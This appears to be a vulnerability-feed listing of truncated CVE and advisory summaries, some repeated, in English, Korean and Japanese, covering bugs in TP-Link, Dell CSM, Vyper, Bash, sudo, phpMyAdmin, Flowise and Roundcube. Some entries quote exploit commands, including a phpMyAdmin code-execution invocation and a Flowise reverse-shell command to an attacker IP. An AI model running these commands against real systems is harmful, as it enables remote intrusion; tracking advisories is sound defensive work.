CVE-2026-104944 Unauthenticated TDP Function Pointer Dispatch Denial of Service in TP-Link Tapo C500

TP-Link Tapo C500 v2.0 contains an out-of-bounds function-pointer dispatch in its TDP TP-Link Device Protocol daemon. A single unauthenticated UDP datagram can cause an invalid indirect call, crashing the main service and resulting in a denial-of-service condition. Successful exploitation may all...

CVE-2026-104944 Unauthenticated TDP Function Pointer Dispatch Denial of Service in TP-Link Tapo C500

TP-Link Tapo C500 v2.0 contains an out-of-bounds function-pointer dispatch in its TDP TP-Link Device Protocol daemon. A single unauthenticated UDP datagram can cause an invalid indirect call, crashing the main service and resulting in a denial-of-service condition. Successful exploitation may all...

CVE-2014-6271

CVE-2014-6271 GNU Bash 4.3까지 존재하는 "ShellShock"으로 알려진 취약점은 함수 정의 후 환경 변수 값의 후행 문자열을 처리하는 방식에 있습니다. 이 취약점으로 인해 원격 공격자는 Bash 실행 시 권한 경계를 넘어 환경이 설정되는 특정 상황에서 환경을 조작하여 임의 코드를 실행할 수 있습니다. 이 취약점은 OpenSSH sshd의 ForceCommand 기능, Apache HTTP Server의 modcgi 및 modcgid 모듈, 그리고 지정되지 않은 DHCP 클라이언트가 실행하는 스크립트 등...

CVE-2016-5734-docker

CVE-2016-5734-docker PhpMyAdmin 4.0.x—4.6.2 リモートコード実行の脆弱性 CVE-2016-5734 セットアップ git clone https://github.com/miko550/CVE-2016-5734-docker.git cd CVE-2016-5734-docker docker compose up hhtp://localhost:8083 エクスプロイト python3 cve-2016-5734.py -u root --pwd="root" http://localhost:8083 -c "system'ls...

CVE-2020-0674-Exploit

CVE-2020-0674 CVE-2020-0674는 레거시 jscript 엔진의 use-after-free 취약점입니다. Internet Explorer에서 트리거될 수 있습니다. 이 익스플로잇은 maxpl0it이 작성했지만, 취약점 자체는 Qihoo 360이 실제 환경에서 사용 중인 것을 발견했습니다. 이 익스플로잇은 단순히 계산기를 실행합니다. 익스플로잇 분석은 여기에서 확인할 수 있습니다. 취약점 개요 이 취약점은 비교자 함수를 사용할 때 Array sort 함수에 존재합니다. 비교자 함수에 제공되는 두 인수는 가비지...

CVE-2026-63690

Dell Container Storage Modules, versions prior to 1.18.0, contains a Missing Authentication for Critical Function vulnerability in the csi-powerflex; csi-powermax; csi-powerstore. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to...

CVE-2026-70411

Dell Container Storage Modules CSM, versions prior to 1.18.0, contains a Missing Authentication for Critical Function vulnerability in the csm-authorization-tenant gRPC service TenantService. An unauthenticated adjacent network attacker could potentially exploit this vulnerability, leading to...

CVE-2026-63690

Dell Container Storage Modules (CSM) versions prior to 1.18.0 are vulnerable to a Missing Authentication for Critical Function vulnerability in the csi-powerflex , csi-powermax , and csi-powerstore components. An unauthenticated attacker with adjacent network access can exploit this flaw to cause...

CVE-2026-63690

Dell Container Storage Modules, versions prior to 1.18.0, contains a Missing Authentication for Critical Function vulnerability in the csi-powerflex; csi-powermax; csi-powerstore. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to...

EUVD-2026-93466

Dell Container Storage Modules, versions prior to 1.18.0, contains a Missing Authentication for Critical Function vulnerability in the csi-powerflex; csi-powermax; csi-powerstore. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to...

GHSA-2R3X-4MRV-MCXF Vyper: Memory corruption using function calls within tuples / nested calls

Impact When performing a function call inside a tuple or as an argument inside another function call, there is a memory corruption issue that occurs because of an incorrect pointer to the the tip of the stack. Example code: python @internal def fooa: uint256, b: uint256, c: uint256 - uint256,...

Vyper: Memory corruption using function calls within tuples / nested calls

Impact When performing a function call inside a tuple or as an argument inside another function call, there is a memory corruption issue that occurs because of an incorrect pointer to the the tip of the stack. Example code: python @internal def fooa: uint256, b: uint256, c: uint256 - uint256,...

CVE-2026-63688

Dell Container Storage Modules CSM, versions prior to v1.18.0, contains a Missing Authentication for Critical Function vulnerability in the csm-authorization-storage gRPC server. An unauthenticated remote attacker could potentially exploit this vulnerability, leading to unauthorized access to...

CVE-2026-63692

Dell Container Storage Modules, versions prior to 1.18.0, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges...

EUVD-2026-93429

Dell Container Storage Modules, versions prior to 1.18.0, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges...

CVE-2026-63688

Dell Container Storage Modules CSM, versions prior to v1.18.0, contains a Missing Authentication for Critical Function vulnerability in the csm-authorization-storage gRPC server. An unauthenticated remote attacker could potentially exploit this vulnerability, leading to unauthorized access to...

CVE-2021-3156

エクスプロイトチェーン深掘り：CVE-2021-3156（Baron Samedit） 著者: IJ Baig 日付: 2026年7月7日 1. CVE ID、影響を受けるバージョン、およびビルド確認 CVE ID: CVE-2021-3156 脆弱性タイプ: ヒープベースのバッファオーバーフロー 影響を受けるバージョン範囲: レガシーSudoバージョン1.8.2～1.8.31p2、および安定版バージョン1.9.0～1.9.5p1。 ビルド対象バージョン: Sudo 1.9.5p1 1.1 環境設定...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Flowise -c "id" 기존 키로 리버스 셸: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 옵션 Flag| 설명 ---|--- -t, --target| 대상 URL -e, --email| 대상 계정 이메일 ATO 체인 트리거 --api-key| API 키 직접 제공 ATO 건너뛰기 -c, --command| 실행할 명령어 --lhost| 리버스 셸용 공격자 IP...

BinDiffHelper

BinDiffHelper GhidraプロジェクトでBinDiffを使用して一致する関数を検索し、自動的に名前を変更するGhidra拡張機能です（BinDiff 6、7、8をサポート）。 BinDiffマニュアルを参照して、その仕組みと関数/基本ブロックのマッチング方法を確認してください。ただし、この拡張機能ではBinDiffがGhidra内から自動化されるため、自分でバイナリをdiffする必要はありません。 バグはgithubのissue機能で報告してください 変更履歴 v0.7.1 Ghidra 12向けに更新 v0.7.0 Ghidraバージョン = 11.4...

exploit-CVE-2016-9920

Roundcube 1.0.0 Roundcube 1.2.2 및 이전 버전에서는 사용자 제어 입력이 검증되지 않은 채 PHP의 내장 함수 mail 호출의 다섯 번째 인수로 흘러 들어가며, 이는 보안 측면에서 중요하다고 문서화되어 있습니다. 문제는 mail 함수를 호출하면 PHP가 sendmail 프로그램을 실행하게 된다는 것입니다. 다섯 번째 인수는 이 실행에 추가 매개변수를 전달할 수 있게 해주므로 sendmail을 구성할 수 있습니다. sendmail은 모든 메일 트래픽을 파일에 기록하는 -X 옵션을 제공하므로, 공격자는 이 ...